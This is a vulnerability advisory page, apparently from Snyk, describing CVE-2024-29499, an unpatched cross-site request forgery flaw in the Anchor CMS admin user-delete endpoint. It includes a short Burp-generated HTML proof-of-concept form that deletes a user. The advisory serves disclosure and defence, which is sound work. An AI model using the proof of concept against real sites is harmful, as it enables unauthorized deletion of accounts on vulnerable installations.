Cross-Site Request Forgery (CSRF) Affecting anchorcms/anchor-cms package, versions >=0.0.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

EPSS
0.04% (11th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Cross-Site Request Forgery (CSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-ANCHORCMSANCHORCMS-6483246
  • published24 Mar 2024
  • disclosed22 Mar 2024
  • creditUnknown

Introduced: 22 Mar 2024

CVE-2024-29499  (opens in a new tab)
CWE-352  (opens in a new tab)

How to fix?

There is no fixed version for anchorcms/anchor-cms.

Overview

anchorcms/anchor-cms is a lightweight blog CMS for PHP.

Affected versions of this package are vulnerable to Cross-Site Request Forgery (CSRF) via the /anchor/admin/users/delete/2 endpoint. An attacker can perform unauthorized actions on behalf of a legitimate user by tricking the victim into submitting a request to the vulnerable endpoint.

PoC


<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/anchor/admin/users/delete/2">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

References

CVSS Scores

version 3.1